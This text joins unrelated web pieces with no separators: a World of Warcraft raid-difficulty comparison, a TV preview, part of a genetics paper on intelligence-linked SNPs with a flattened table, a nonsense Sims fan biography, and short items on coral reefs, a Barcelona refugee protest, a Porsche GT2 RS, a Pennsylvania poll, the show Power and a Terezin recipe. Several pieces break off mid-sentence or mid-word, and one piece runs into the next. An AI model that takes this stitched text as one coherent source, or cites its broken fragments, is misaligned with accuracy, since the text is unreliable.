We picked a balanced (performance-wise) raid comp that could deal with the first six bosses, made a slightly modified comp for Ragnaros, and went to beat some pixels to the ground.
Onwards to the bosses:
Beth'tilac
Our setup
The feel of the fight was very similar to 25. A lot less was happening in the first phase, making things clearer. The numbers seemed about ok, though we could have afforded to put much more dps upstairs from the start, easing the last phase a bit.
Alysrazor
Our setup
The boss was mostly a matter of not dying and then distributing loot, just like in 25. Not dying seemed to be a bit easier though, with less damage and less stuff going around. Not that you'd have enough combatresses here to handle the mass suicides happening in 25 anyway.
Lord Rhyolith
Our setup
Not really any major differences here either. Incoming damage seemed to be a bit lower than in 25, especially from the avoidable stuff, since you can actually see something in the 10-man. Interestingly Liquid Obsidians still only restored one stack upon reaching the boss and the amount of spawns is lower than in 25-man. It probably doesn't make a lot of difference in practice though, since it won't be a problem if you do the boss properly.
Shannox
Our setup
More or less the same encounter, just with fewer people and easier and clearer positioning. Random deaths to dogs when healers are sleeping hurt slightly more on 10, since you can only alt-tab once (as opposed to three times on 25) without penalties. Bruteforced it all the way through like proper champs.
4/7 recap
It should be noted that the first four bosses all felt very similar between the different raid sizes, i.e. find a working tactic, do not die, collect loot. Not dying seemed to be easier across the board, simply because there is less stuff going on at any given time. Beth'tilac is the only one with any real throughput check, but it's lenient enough in both 10 and 25 not to be a problem if handled correctly. Frankly they are not different enough, and not hard enough, for there to be much point in debating the difficulty differences.
Baleroc the Gatekeeper
Our setup (Rakez wanted loot...)
Here's the first boss with meaningful differences between the raid sizes. In 25 we ran with two tanks and four healers, careful torment + debuff positions, and an elaborate enrage plan. We just barely met the dps requirements for the fight. We saw most 10-man guilds doing it with one tank and two healers, so we figured we'd do that and have plenty of dps left over.
We had a few deaths with two healers (quite looked like four-healing in 25), and noticed that we actually had enough dps left over to do two bosses at the same time. We picked up a third healer, which completely trivialized the healing. After noticing no one was keeping up sunders we proceeded to loot the boss.
The main difference is that in 25-man you are short on dps and short on healing. You can't really compromise from either -- and if you do take five healers you need a hell of a plan for the enrage. In 10-man you can either run with three healers and only worry about dps, or run with two healers and only worry about healing. You also don't need to worry about the debuff positions for Tormented too much, since there's plenty of room to go around and only one crystal to soak.
Not only was this fight clearly easier in 10-man, it didn't really even have the same feel to it. Somehow forcing three healers and about 5% more health on the boss would have done wonders.
Majordomo Staghelm
Our setup
What happens when your tank forgets to turn on AD on the first scorpion slash and dies? You proceed to one-shot the boss and collect loot of course!
The fight plays (or rather, you should play it) much like the 25-man version. You maximize time on the damage/healing buff by not taking damage, which means Majordomo spends most of his time leaping around in cat form. The notable gameplay difference is that only three Burning Orbs spawn. They are an absolute pain to deal when they spawn in multiple clusters in 25-man, which simply cannot happen with only three.
The biggest problem though is that the boss has way too little health. With a completely failed pull, we still beat the enrage by about a minute and a half. It also felt like a two healer fight, and we were running with three. In all honesty, the boss could use a good +25-30% hp buff.
The fight feels more similar to the 25-man version than Baleroc, but because the numbers are so ridiculously off, Majordomo has to take the cake for being the boss with the largest 10/25 gap. You really should be able to do the 10-man version rather easily even if you dropped one healer plus one dps and went 8-man. That's just silly for the penultimate boss of a raid tier.
Ragnaros
Our setup
The dreaded Ragnaros. Without giving too much, the fight *feels* very much the same, as it should. On the surface it's seems like nearly the same encounter, but under the hood you see some differences.
It's unclear why, but for some reason the Magma Traps in p1 do less damage than in 25-man. Doesn't seem like a big deal unless you've clocked hundreds of deaths in p1 to traps that are synced poorly with Hand or Wrath of Ragnaros. It really isn't a huge issue even counting that, but immediately noticeable and rather peculiar. Maybe we're just doing it wrong.
Phase two is pretty similar. Aoeing the Molten Elementals down is possible with a reasonable comp and spreading really shouldn't be an issue with an acre of room to go around, and in all honesty should be about a million times easier than in 25. We like to blow stuff up though, so we just aoe'd through like in 25-man, with plenty of overkill.
Sons of Flame in the intermissions perform quite differently. They're made out of paper in 10-man, but boy are they fast without proper control. Eight spawn in both raid sizes. In 25-man and in the first intermission in 10-man the Sons are completely controllable. The second intermission in 10-man however has the tanks tied up with the Scions, and some guys occupied with Blazing Heat, which means that you'll have to figure some stuff out on the fly. Depending on the raid comp the difficulty can vary greatly with the spawn spots. If the Sons spawn in clusters, they'll die to aoe instantly (really). But if they have a good spread, this portion can be more challenging than in 25-man.
Without going too much into detail on p3 and p4, there's again a number problem. The boss has too little hp, and what's a nerve-cracking dps race on 25 is a walk in the park in 10 that doesn't even require Bloodlust/Heroism. Moreover, looking at the Dungeon Journal you could easily think that handling two meteors in 10-man should be equal to handling five meteors in 25-man -- after all, they both occupy 20% of the raid. In practice it simply does not work this way. The boss has proportionally so much less hp in 10-man that it more than makes up for lost dps time. Anyone close to killing Ragnaros will know how big of a role this plays, and how everything else ultimately turns out to be meaningless.
To be fair though, RNG does play a slightly bigger role in the 10-man version. And there aren't many things more annoying than RNG that you weren't good enough to handle.
Further thoughts
It's immediately obvious that there's a much greater degree of clarity and control in the 10-mans. Thinking logically, this should help quite a lot with the learning curve and avoiding mistakes, but that's not really something we could say our little skirmish 'proved' in practice. We already knew what the encounters were about and what the flame to avoid looked like -- relearning to accommodate differences is very different than learning from scratch.
A theme of more significance that you can clearly see in the three harder bosses for this tier is that the dps requirement is much too lenient in 10-man. This means that you don't really have to cut the amount of healers, which ensures relaxed gameplay for the healers while about half of their 25-man brethren are taking beta blockers just to be able to see clearly. The other half is naturally on the bench, sitting out for the extra dps. Perhaps this is a backlash from what we've been hearing about T11, but it really doesn't work as it is.
Proper tuning has repercussions though, since class balance has a huge impact when you're forced into two-heal and solo heal situations. And that's not even a stretch -- don't be surprised if you see a druid solo healing Ragnaros 10 hc before this tier is over. Might or might not happen, but at least it seemed plausible enough. Try doing that with a shaman.
This leads us to the fact that the gap between an optimal setup and the wrong setup seems to be quite a bit larger in 10-man than in 25s. If the encounters are really hard, you'll need a proper setup. Guilds shooting for a world first should always be expected to come up with one, but those below, the ones without alt raids, will be left hanging. If the encounters are tuned for the 'average' setup, guilds who can afford the optimal one will steamroll through them.
If we were really playing 10-man, we *would* have a close to optimal setup. Even right now, scaled down from 25 to 10, we would have about 14 players and 30-ish fully raid-capable characters. The difficulty and tuning we're concerned about is for that scenario, not for the level where you're simply enjoying the game with the hand you've been dealt.
You should always keep this in mind when reading feedback from top guilds, whether they are playing 25s or 10s. The game is very likely quite different for you and your raiding group.
Now that you've read all that, come discuss the matter in this thread but remember to stay civil, trolling and flaming will not be tolerated.Here’s a new preview for Dark Matter’s soon to launch second season. Much more than a simple promo, clips of the new season are interspersed with commentary from some of the actors. In it, they discuss how the show and their characters will evolve as the story continues. But be warned, while there are a lot of teases, some of our more sensitive readers might consider them SPOILERS. I’m not giving away anything in the text, but the video has some tasty teasers most fans will enjoy.
Roger Cross (SIX) and Zoie Palmer (Android) talk about their characters’ particularly tantalizing story arcs. If you’ve kept up with the progress of season two’s production by following showrunner Joseph Mallozzi’s blog then you won’t find the comments too surprising. But, if you’re like a good kid at Christmas and haven’t peeked to see what’s under the wrapping paper, you might just be shocked at what you find. Shocked in a good way, though.
Anthony Lemke (THREE) does most of the narration/voice-over and remains firmly out of character for the duration of the video. Not once does he try to screw us over or threaten to shoot anyone. What he does do is lay out an idea of what viewers can expect in season two. One of the most interesting things heard is the very last thing he says.
As the video ends, his voice-over oddly begins to fade in volume, but Lemke leaves us with this sweet bite of the “less fishy” protein bar:
“We’re just vying for control of ourselves, and that might grow into controlling something much larger than that as the season moves on.”
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Follow Joe’s @DarkMatter_show account on TwitterAbstract General intelligence (g) and virtually all other behavioral traits are heritable. Associations between g and specific single-nucleotide polymorphisms (SNPs) in several candidate genes involved in brain function have been reported. We sought to replicate published associations between 12 specific genetic variants and g using three independent, longitudinal datasets of 5571, 1759, and 2441 well-characterized individuals. Of 32 independent tests across all three datasets, only one was nominally significant at the p <.05 level. By contrast, power analyses showed that we should have expected 10–15 significant associations, given reasonable assumptions for genotype effect sizes. As positive controls, we confirmed accepted genetic associations for Alzheimer disease and body mass index, and we used SNP-based relatedness calculations to replicate estimates that about half of the variance in g is accounted for by common genetic variation among individuals. We conclude that different approaches than candidate genes are needed in the molecular genetics of psychology and social science.
Genetics has great potential to contribute to psychology and the social sciences for at least two reasons. First, as human behavior involves the operation of the brain, understanding the genes whose expression affects the development and physiology of the brain can further our understanding of the causal chains connecting evolution, brain, and behavior. Second, because genetic differences can potentially account for some of the differences among individuals in cognitive function, behavior, and outcomes, any effort to paint a picture of the structure of human differences that does not incorporate genetics will be incomplete and possibly misleading. Within psychology, the genetics of behavior has been explored since the earliest twin studies (for an overview, see Plomin et al., 2008). Behavior genetic studies have shown that nearly all human behavioral traits are heritable (Turkheimer, 2000). If a trait is heritable in the general population, then—with sufficiently large samples—it should be possible in principle to identify molecular genetic variants that are associated with the trait. General cognitive ability, or g (Spearman, 1904; Neisser et al., 1996; Plomin et al., 2008) is among the most heritable behavioral traits. Estimates of broad heritability as high as 0.80 have been reported for adult IQ measured in modern Western populations (Bouchard, 1998). Although the exact figures have been the topic of much debate, the claim that IQ is at least moderately heritable is widely accepted. IQ may in fact be similar in heritability to the physical trait of height (Weedon & Frayling, 2008). Both height and IQ are genetically “complex” because these traits are influenced by many genes, acting in concert with environmental factors, rather than being determined by single genetic variants. Finding genes associated with g could yield many potential benefits, among them new insights into the biology of cognition and its disorders. Such discoveries might suggest new therapeutic targets or pathways for potential treatments to improve cognition. Uncovering the molecular genetics of other traits and abilities, such as personality, time and risk preferences, and social skills could have similarly beneficial consequences (Benjamin et al., 2007). By now there is a large literature of candidate gene studies showing associations between many single-nucleotide polymorphisms (SNPs) and g.1 Payton (2009) produced a comprehensive review of these studies. Here we report the results of a series of attempts to replicate as many published SNP-g associations as possible, using data from three independent, large, well-characterized, longitudinal samples. We begin, in Study 1, with the Wisconsin Longitudinal Study (WLS; www.ssc.wisc.edu/wlsresearch), which includes genotypes for 13 of the SNPs reported by Payton (2009) to have published associations with g. These 13 SNPs are located in or near 10 different genes. In followup studies, we test 10 of the original 13 SNPs that were available in two other samples. In Study 2, we use the Framingham Heart Study (FHS; www.framinghamheartstudy.org), and in Study 3, we use data from the Swedish Twin Registry (STR; ki.se/ki/jsp/polopoly.jsp?d=9610&l=en) to examine associations with g. Although we analyzed them separately, the combined sample size of these datasets is almost 10,000 individuals, which gives us considerable statistical power. If the published SNP-g associations we examined were true positives in the general population, then we would expect many of them to replicate at the 5% significance level in our much larger datasets. However, if the literature on SNP-g associations consists mostly of false positives, then we would expect very few replications in our data. Such a result would not likely be due to differences in the methods used to estimate g in the various datasets under comparison, since g is consistently measured by a wide variety of well-designed tests (Ree & Earles, 1991).
Study 1 Method The Wisconsin Longitudinal Study (WLS) is based on a one-third sample of all Spring 1957 Wisconsin high school graduates (initial N = 10,317). A randomly selected sibling of a subsample of these graduates was enrolled in 1977 and a randomly selected sibling of each remaining graduate was enrolled in 1993 (N = 5,219). g was measured by the Henmon-Nelson Test of Mental Ability (Lamke & Nelson, 1957) for both graduate and sibling sample members when they were in the 11th grade, and obtained from administrative records. Percentile scores were rescaled to the conventional IQ metric of a mean of 100 and standard deviation of 15. We studied all 13 SNPs that were both previously associated with g according to Payton’s review (2009) and included among the 90 SNPs genotyped in the WLS. They were: rs429358 and rs7412 in APOE (these SNPs define the e2/e3/e4 haplotype associated with Alzheimer disease), rs6265 in BDNF, rs2061174 in CHRM2, rs8191992 in CHRM2/CHRNA4, rs4680 in COMT, rs17571 in CTSD, rs821616 in DISC1, rs1800497 in DRD2/ANKK1, rs1018381 in DTNBP1, rs760761 in DTNBP1, rs363050 in SNAP25, and rs2760118 in SSADH (aka ALDH5A1). Of the 6,908 WLS respondents with adequate covariate and genotype data, 5,571 had data for g and for all 13 SNPs previously associated with g. All 13 SNP genotypes were in Hardy-Weinberg equilibrium, and their frequencies matched those reported in the literature for European samples. As positive controls for global problems in genotyping or data quality, we considered two genotype-phenotype associations that have been established and accepted: APOE and Alzheimer’s disease (AD), and FTO and body mass index (BMI). We tested the two SNPs in the APOE gene that define the common, well-established risk haplotype for AD (e2/e3/e4) for association with parental AD status. As expected, subjects with at least one e4 allele were more likely to report having a parent with AD than were subjects with no e4 alleles (p <.0001). Likewise, the previously reported and replicated association between the number of C alleles of SNP rs1421085 in FTO and body mass index (Tung & Yeo, 2011) was observed here (self-reported BMIs of 27.5, 27.9, and 28.3 for 0, 1, and 2 C alleles, respectively; p <.001). For each SNP we adopted a standard linear allele dosage model; we regressed Henmon-Nelson IQ on the number minor (less frequent) alleles. However, for the two APOE SNPs, we instead analyzed a dummy variable indicating the presence of at least one e4 allele, since this allele is defined by a haplotype of these two SNPs and is the genotype previously studied in conjunction with g (and AD). All of our analyses controlled for graduate/sibling status, age, gender, and the interactions of these factors, as well as the first three principal components of the genetic data from the full set of 90 genotyped SNPs (to account for possible population stratification). [For additional Methods details, see Supporting Online Material.] Results displays the results of this analysis. None of the 12 genotypes (11 SNPs and the APOE e4 variable) were significantly associated with g (p ≥.10 in all cases). We conducted an omnibus F-test for all 11 SNPs and the APOE dummy combined in a single regression, and could not reject the null hypothesis that all of the SNPs jointly have zero effect on g (F = 0.88, p =.56). We calculated the statistical power associated with this omnibus test and found that if, in aggregate, our 12 genotypic predictors jointly explain at least 0.52% of the variance of g, the F-test should reject the null hypothesis more than 99% of the time. The thresholds associated with 80% and 95% rejection are 0.26% and 0.39% of the variance, respectively. Table 1 SNP CHR Gene N R2 (%) Beta Standard Error t p MAF Minor Allele Major Allele rs1018381 6p DTNBP1 6507 0.04 0.809 0.514 1.57.12.080 C T rs17571 11p CTSD 6464 0.01 0.310 0.481 0.64.52.079 A G rs1800497 11q DRD2/ANKK1 6469 0.00 0.007 0.356 0.02.98.191 A G rs2061174 7q CHRM2 6392 0.00 0.091 0.294 0.31.76.328 G A rs2760118 6p SSADH (ALDH5A1) 6479 0.01 −0.114 0.340 −0.34.74.340 T C rs4680 22q COMT 6420 0.02 −0.350 0.270 −1.30.20.471 G A rs6265 11p BDNF 6489 0.02 0.367 0.331 1.11.27.190 T C rs760761 6p DTNBP1 6438 0.00 0.128 0.330 0.39.70.206 A G rs8191992 7q CHRNA4/CHRM2 6492 0.00 0.122 0.273 0.45.66.474 T A rs821616 1q DISC1 6478 0.04 −0.483 0.293 −1.65.10.283 T A rs429358, rs7412 19q APOE e4 present/absent 6390 0.00 0.041 0.426 0.10.92.137 e4 e2/e3 rs363050 20p SNAP25 6464 0.04 0.323 0.275 1.18.24.427 G A Open in a separate window A recent meta-analysis (Barnett et al., 2008) suggests that the well-researched Val158Met polymorphism in COMT (rs4680) may explain around 0.10% of the variance of g. This estimate is likely to still be biased upward, because it assumes no publication bias or winner’s curse is affecting the literature on this association. If we make the reasonable assumption that our SNPs, which are mostly distributed across several chromosomes, are independent, these results imply that the average effect size of the 12 genotypic predictors (which include rs4680) must be even smaller than 0.05% of the variance (because 0.52%/12 = 0.043%), although we cannot rule out the possibility that most are zero and a few exceed 0.10%. These effect sizes are small—e.g., 0.05% of the variance is about 0.45 IQ points for a SNP whose minor allele frequency is close to 50%, as in the case of rs4680—and much lower than the effect sizes reported for the SNPs in the initial publications of their g associations. From these calculations, we conclude that our analysis has a high level of statistical power for effect sizes of meaningful magnitude.
Study 2 Method In study 2, we attempted to repeat the same analysis as closely as possible with data from the “Initial” and “Offspring” cohorts of the Framingham Heart Study (FHS), which has tracked residents of Framingham, Massachusetts, and their descendants since the 1940s. Dawber et al. (1951) and Feinleib et al. (1975) provide more details on these two cohorts of the FHS. Our dataset included 1759 individuals, of whom 45.4% were male. Participants ranged from 40–100 years in age when they completed a battery of cognitive tests as part of a neuropsychological component of the FHS. These tests included Trails A and B, WRAT-Reading, Boston Naming, WAIS Similarities, Hooper Visual Organization, WMS Visual Reproductions, and WMS Logical Memory (for more information see Seshadri et al., 2007). To estimate general cognitive ability, we first conducted a principal component analysis on the cognitive test data (controlling for sex, birth year, and cohort); the first component accounted for 45.6% of the variance in test performance, consistent with the normal pattern in studies of general intelligence (Chabris, |
few years after leaving Sunset Valley, Kenneth moved from Mexico to Europe, where he became employed in the trucking company "Nerd Haul". Kenneth was stationed in Aberdeen. However, after the company's CEO never returned from a road trip to Bratislava, Kenneth became the new CEO. However, Kenneth ran the company out of business in a few weeks, and lost everything. He used the last of his money to travel back to Mexico. The Old CEO of Nerd Haul apparently was never heard from again but it could be said its ghost remains of driving nonstop from Scotland to Western Slovakia can be seen and heard every year.
Nerd³ Challenges - 3 Day Baby!
25 years after Kenneth left Sunset Valley, he decided to return to the town. He discovered, however, that since he had been gone, a lot had changed there. After the Alto family were run out of town, never to be seen again, Sunset Valley was rebuilt into PleasantView. Kenneth moved into a house there, and started work as a medical technician. Kenneth then met the beatiful Bella Goth (who was the sister of Kenneth's old enemy, Michael Bachelor). After a few days of flirting, Kenneth proposed to her, and they got married. 3 days later, Kenneth and Bella had their baby - a daughter named Kml,sxcdzkldxcsk,ldcxs,fcd Kennethson, or Baby Kml for short. It was around this time that Kenneth discovered the Bella was still married to her first husband - Mortimer Goth, and the couple already had 2 children. Kenneth then quickly packed his bags, and went back to Mexico.
Later Life
Some time later, Kenneth used his science skills to cryogenically freeze himself for several hundred years. When he awoke, man had perfected space travel. Kenneth then stole a small spaceship, and traveled across the galaxy, where he discovered a small, uninhabited planet. Kenneth named the planet "Kennethson", and landed on it. Whilst on the planet, Kenneth went swimming in the sea, where he cut himself. He blood washed around through the water, and reacted with some chemicals and elements (which had just arrived on the planet via and asteroid) to form a tiny micro-organism - the first life on the planet.
Legacy
It is unknown what happened to Kenneth after this, but over the next 665 million years, the micro-organism that formed from his blood would evolve and eventually become the sentient life forms known as The Tzaboohaboo. 20,000 years after that, The Tzaboohaboo formed tribes, and eventually cities. They then perfected space travel, and went on the enslave and conquer the entire universe.In 2003, researchers declared Coral Castles dead.
On the floor of a remote island lagoon halfway between Hawaii and Fiji, the giant reef site had been devastated by unusually warm water. Its remains looked like a pile of drab dinner plates tossed into the sea. Research dives in 2009 and 2012 had shown little improvement in the coral colonies.
Then in 2015, a team of marine biologists was stunned and overjoyed to find Coral Castles, genus Acropora, once again teeming with life. But the rebound came with a big question: Could the enormous and presumably still fragile coral survive what would be the hottest year on record?
This month, the Massachusetts-based research team finished a new exploration of the reefs in the secluded Phoenix Islands, a tiny Pacific archipelago, and were thrilled by what they saw. When they splashed out of an inflatable dinghy to examine Coral Castles closely, they were greeted with a vista of bright greens and purples — unmistakable signs of life.
“Everything looked just magnificent,” said Jan Witting, the expedition’s chief scientist and a researcher at Sea Education Association, based in Woods Hole, Mass.On February 18, over 160.000 people took to the streets of Barcelona to demand that the Spanish government and the European Union accept more refugees. The build-up to the protests was spectacular, with the city and Catalan regional governments working together with broad citizen platforms to put the phrase “We want to welcome” (Volem acollir) on everybody’s lips.
For several weeks, leading politicians including Barcelona mayor Ada Colau and Catalan president Carles Puigdemont lambasted Spain’s current policies towards refugees. One week prior to the protest, a special concert was organized by a campaign called Casa nostra, Casa vostra (“Our house, your house”), not in a civic center or public square but in an Olympic stadium. The event was aired on Catalan public television and featured major Catalan artists and cultural figures.
The protest itself was filled with a multitude of slogans calling out Spain and Europe’s response to the horror on the border. The central demand agreed on by the various and often opposing political actors supporting the march was ultimately an administrative one. In September of 2015, Spain promised to receive 17.337 refugees over two years. A year and a half into their commitment, they have accepted only 1.100. The City of Barcelona and the Catalan regional government were simply demanding that Spain keep its promise.
This is hardly the first time in recent history that Mariano Rajoy’s government has been accused of hypocrisy, negligence or outright hostility towards people fleeing misery, death and torture. In February 2013, the Spanish Civil Guard killed 15 people after firing 145 rubber bullets at a group of West African migrants who had tried to swim to the Tarajal beach in Ceuta, a Spanish enclave in North Africa.
The news of the protest in Barcelona has been well received by an international press thirsty for positive stories. With the rise of the far right in Europe and Donald Trump in the United States pushing journalists to scramble for fresh apocalyptic metaphors, the image of over 150,000 people filling the streets of a major European city to demand the continent open its borders provides an oasis of hope in the rapidly overheating desert of the real. As with any spectacular image, however, we must ask how much of what we see reflects reality.
Here, the temptation to play the leftist curmudgeon is great. Barcelona’s repeated efforts to brand itself as a progressive sanctuary city do not align with the city government’s repression of migrant street vendors. This stance has undermined support for Barcelona En Comú among local activists. When Colau inaugurated a sign counting the number of migrant deaths in the Mediterranean during the summer of 2016, migrants’ rights collectives disrupted the ceremony, surrounding her with pictures of her face and the words “The white left is responsible for the repression of street vendors” scrawled across it.
However, Colau’s Barcelona En Comú party has been considerably more sympathetic towards migrants than the Democratic Convergence party of Catalan president Carles Puigdemont. At the local level, the conservative nationalist formation has repeatedly spearheaded revanchist campaigns against migrant street workers, depicting them as “uncivil” agents of urban and social decay. During the 2011 Spanish general elections, their campaign posters read, “People don’t leave their countries because they want to but because they are hungry. But in Catalonia, not everyone fits in.”
This background has led some to dismiss the February 18 protest as a farce, another symbolic gesture by local politicians that dissolves once it touches reality. Or even worse, as a case of moralistic posturing aiming to absolve politicians from their responsibilities on the basis of their self-proclaimed good intentions.
This is not an unreasonable position. The Catalan independence process led by Puigdemont’s party is notorious for organizing massive events but taking few steps to actually exercise political sovereignty. Meanwhile, the reforms passed by Barcelona En Comú are dwarfed by the party’s radical campaign promises and weak position as a minority government. Criticizing Mariano Rajoy’s Popular Party, which is broadly unpopular in Catalonia, allows both parties to assert themselves as at least more progressive than the central government and pin their frustrations on the ass in Madrid.
However, this view ignores a key actor in all of this. Namely, the ordinary people who took to the streets en masse to denounce the violence, indifference and cruelty taking place at Europe’s borders. In the spectacle surrounding the protest, political parties sought to appropriate its meaning for their own causes. These include the nation-building of the Catalan independence process and the place-making of Barcelona En Comú’s municipalist project. But this is hardly surprising — it is simply the nature of a political opportunity.
For emancipatory movements, perhaps the more important question is not whether the parties’ intentions are as noble as their own but whether they can occupy the protest’s sociopolitical expediency to push society towards radical change. The enormous gap between the protest’s message of welcome and the policies adopted by the government begs to be filled with content, and its legitimacy hinges on the participation of migrant and refugee collectives. Divorced from that substance, any claim of being a welcoming place is shallow at best, cynical and insulting at worst.
This approach was taken by the street vendors union and many of Catalonia’s most combative migrants’ rights collectives, who participated in the march despite their misgivings towards many of its aforementioned supporters. Through critical engagement, they expanded the protest’s message to include not only those who hope to arrive but also those who are already here. Their demands included shutting down migrant detention centers, an end to racist persecution and structural violence and the abolition of the Foreign Nationals Act, among many others.
There is, of course, a risk to this approach. The more substantive content of the protest could be cannibalized by self-satisfaction. After the protest, the social networks were buzzing with enthusiasm. Many described how “proud” they were to be from a place that was demanding more refugees. And in the lead-up to the march, criticism of the political class was similarly self-congratulatory. As he addressed the crowd at the Casa nostra, Casa vostra concert, popular television personality Jordi Évole declared, “On the issue of refugees, our society, the people, the citizenry, are far, far ahead of the authorities.”
This sense of moral superiority may be intrinsic to turning righteous indignation into meaningful, bottom-up action, but it cannot be an end in itself. Ultimately, what makes protests like the one on February 18 necessary is not how great we are as people, but how shameful it is to be on this side of Fortress Europe, witnessing the cruelty done in our name. To merely lament this situation is a privilege. We must instead take on the responsibility to act.Porsche is one of those marques that you can mention to anybody, and they will understand what you are talking about – from petrolheads to casual drivers, the name projects an image of speed, sexiness, and brutal German efficiency. We’ve already looked at the 918, but today it’s time to look at one of the company’s most defining cars – the 911. Not just any 911, but the GT2 RS. This was a car born for conflict, even the project’s codename, 727, is based on a Nissan GT-R laptime at the Nurburgring.
The Porsche 911 has been around since 1963, and has stood strong against rivals as disparate as the Ferrari F430, the Lamborghini Gallardo, and the Aston Martin DB9. Though rivals come up with entirely new models, Stuttgart’s darling has stood strong. The GT2 RS upholds the legacy proudly.
The RS is 150lbs lighter than the regular 911 GT2, already lighter than the 911 Turbo, and couples this mechanical diet with a twin-turbo 3.6 liter flat-six engine that develops 620 horsepower. This power-to-weight ratio, better than even the Ferrari 599 GTO, lets it reach a top speed of 205mph, and getting to 62 mph from a stop in just 3.4 seconds. If you want to bring the weight down even more, the infotainment and AC systems can also be removed, at no extra cost.
Driving the car is a unique experience, putting your foot down will bring you to 100 mph in less than half a second faster then the far pricier McLaren F1 will. The fantastic steering, carbon-ceramic brakes will make sure you stay in control, even at those speeds. Driving the car from day-to-day, well, could be better. Road noise and an uncomfortable ride mean you probably won’t want to use this everyday, but those who would look at a track-orientated beast like this and think that would be somewhat insane to begin with.
Related: Top 5 Nürburgring Monsters
Oh, and that track performance – it completed a lap of the Nurburgring in just 7 minutes and 18 seconds, faster than almost any other production car at the time.
Inside, you’ll find the standard racing equipment that is bucket seats, and you’ll also notice how Porsche’s serious attitude to weight loss continues on the inside. The cars don’t have regular door handles, but fabric straps.
The car is a beast to drive, and was surprisingly well-priced at launch. Although limited to just 500 units, the car had an MSRP of $245,000; and you can pick one up used at an even more reasonable price these days, just 4 years after its launch. Compare this to the aforementioned Ferrari 599 GTO, which came with a price tag of $450,000 and we think you’ll agree that this lightweight sports car is truly something extraordinary.Democratic challenger Tom Wolf has a commanding 24-point lead over Pennsylvania Gov. Tom Corbett in a new poll released Thursday, beating the incumbent on every issue with likely voters with just eight weeks until the election.
Mr. Wolf, a businessman who was unknown by voters when the race began, tops the Republican governor 59 percent to 35 percent, according to a Quinnipiac University poll.
“A stunningly bad showing for Pennsylvania Gov. Tom Corbett who is clobbered across the board on issues, leadership and other character traits by a candidate who was unknown to most voters earlier this year,” said Tim Malloy, assistant director of the Quinnipiac University Poll.
“What’s Tom Corbett’s biggest problem? Tom Corbett,” he said.
Pennsylvania likely voters give Wolf a 50 − 22 percent favorability rating, with 26 percent who haven’t heard enough about him to form an opinion.
But Corbett gets a negative 33 – 55 percent favorability rating.
Mr. Wolf would do a better job than Mr. Corbett on all the top issues in the race:
• 58-34 percent on the economy/jobs;
• 61-29 percent on education;
• 54-38 percent on government spending;
• 50-41 percent on taxes.
Mr. Wolf also outscores Mr. Corbett on character traits in the poll:
• 54-21 percent that Mr. Wolf is honest and trustworthy, compared to a 43-43 percent split for Mr. Corbett;
• 58-27 percent that Mr. Wolf cares about their needs and problems, while voters say 56-35 percent that Mr. Corbett does not care;
• 61-18 percent that Mr. Wolf has strong leadership qualities, compared to 50-42 percent for Mr. Corbett.
“Handling the important issues, honesty, caring, leadership, the Democrat leads on every measure. The Wolf is at the door, and Gov. Corbett is running out of time,” Mr. Malloy said.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Courtney Kemp, the creator of Starz’s Power, is fired up. “I want people yelling at the screen! I want them to be pissed, I want them to be excited, I want them to be happy," Kemp told Complex over the phone. "I want them to have a really intense emotional response.” Mission accomplished.
Power, now in its third season, has turned into a huge hit for Starz, breaking the channel’s season premiere record by nearly one million viewers in July when season three began. Ever since, it has stayed within the top five shows watched on Sundays so far this year, according to TV By The Numbers. The 50 Cent-produced and-starring nighttime soap is both a love story and a coming-to-age tale about New York City’s biggest drug dealer. The show thrives on getting a reaction: Mainly, it makes people want to jump through their TV screens. Since they can’t do that, Power’s social media savvy fanbase takes to their Twitter and Facebook to talk through their feelings, guiding a whole new fanbase to the show. The digital word of mouth has acted as a magnet for Power: People notice their timelines blowing up on Sunday nights and feel peer-pressured into finally giving the show a chance. Once they start watching, the addiction begins.
81,000 tweets about the show were fired off during this season’s premiere episode, according to Nielsen statistics; the show has averaged 40,666 tweets an episode since. Power’s ability to be equally satisfying and frustrating, to create moments that bring chaos to the social media water cooler, has made it one of cable’s most thrilling two-screen experiences.Sources
In 1969, Anny Stern got a call from a stranger. They told her that they had a package for her from her mother, Mina Patcher. Anny who now lived in Manhattan hadn't seen her mother in many years. In fact, her mother had been dead since 1944.Due to rising political and social pressure, Anny left Czechoslovakia with her son and met her husband in Palestine in 1939. Her mother refused to leave. She was old, and told her daughter that no one would hurt an elderly lady. Mina was sent to Theresienstadt, a concentration camp near Prague.Theresienstadt was unique. It was a ghetto, a labor camp, and a transit camp. It was a hub where people were sent to mask transportation to death camps in the East. It was originally advertised as a "spa town" but was the place where well-known Jewish people were sent to prevent public suspicion.Famous artists, war heroes, writers, professors, musicians were sent to Theresienstadt and were allowed to keep up a rich cultural, albeit extremely censored, cultural life. Painters painted commissioned German art during the day and personal art in secret. The people schooled their children although it was illegal. Mina, an art historian, gave lectures.It is extraordinary the resolve these people had to do anything. Jews in ghettos were allowed an average of 184 calories a day mostly in the form of watery soup. More food was reserved for laborers. People in the camp reported that the elderly would eat potato peels that were thrown in the street as well as weeds. It was in these conditions that 70 year old Mina and her friends wrote a collection of recipes.Many wonder why anyone who didn't have food would bother writing down recipes. It was a distraction from reality as well as a memory of what once was. More importantly, it was a form of defiance. In the face of the systematic annihilation of their culture, these women did their part to make sure their contributions and their culture would survive. It was the hope that these foods would be on tables once again.Of the 140,000 Jews sent to Theresienstadt, about 90,000 were sent to death camps and 33,000 died in Theresienstadt including 90% of the children who were there. (USHMM) Mina died in the camp but entrusted her book and some photos to another inmate with the promise that he would get it to her daughter. The package traveled from family to family for 25 years until it reached Anny. It's unknown whether the carriers knew the story or what was in the package.Sacred or Profane. This recipe is a little bit of both. Many people do not like the idea of recreating these dishes. According tothe director of the Simon Wiesenthal Center said that the publication of this collection was "sick" althoughit did not seem as though it was explained to him as a primary source document. Also 35 publishers turned the manuscript down. Personally, as a cook, if I spent my last days writing down recipes it would be because Iwanted the dishes to survive into the future. It is my goal to help these recipes survive and the memory of those who wrote them.Kisses from In Memory's Kitchen: A Legacy from the Women of Terezin 1940s Czechoslovakia/ Europe- 3 Cups Flour (and extra)- 2 Cups Rolled Oats- 1 Cup Sugar- 1 Cup Milk- 1 Egg- 1 Tablespoon Margarine- 2 Tablespoons Baking Powder- Jam for fillingMix flour, oats, sugar, and baking powder in mixing bowl. Add milk, egg, and margarine, mix until well combined. Add flour until it forms a dough that doesn't stick to your hands. Preheat oven to 350 degrees. Place one inch balls of dough on a cookie sheet and press your thumb into the center. Fill the indentations with jam and bake for 12-14 minutes. The tops stay very pale.About 1 hour.I had all of the ingredients.Tasted good. The dough part did not flatten as much as I 